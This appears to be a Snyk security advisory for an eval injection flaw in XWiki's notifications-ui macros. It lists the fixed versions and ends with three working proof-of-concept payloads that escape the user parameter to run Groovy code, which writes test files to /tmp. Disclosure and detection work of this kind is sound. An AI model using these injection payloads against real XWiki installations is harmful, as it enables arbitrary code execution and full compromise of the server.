Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade org.xwiki.platform:xwiki-platform-notifications-ui
to version 13.10.11, 14.4.7, 14.10 or higher.
Affected versions of this package are vulnerable to Eval Injection such that any user with view rights on commonly accessible documents including the notification preferences macros can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the user parameter of the macro that provide the notification filters. These macros are used in the user profiles and thus installed by default in XWiki.
{{notificationsFiltersPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit.txt~").withWriter { out -> out.println(~"created from filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}
{{notificationsAutoWatchPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit2.txt~").withWriter { out -> out.println(~"created from auto watch preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}
{{notificationsEmailPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit3.txt~").withWriter { out -> out.println(~"created from email filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}
If this creates files inside /tmp
, the installation is vulnerable.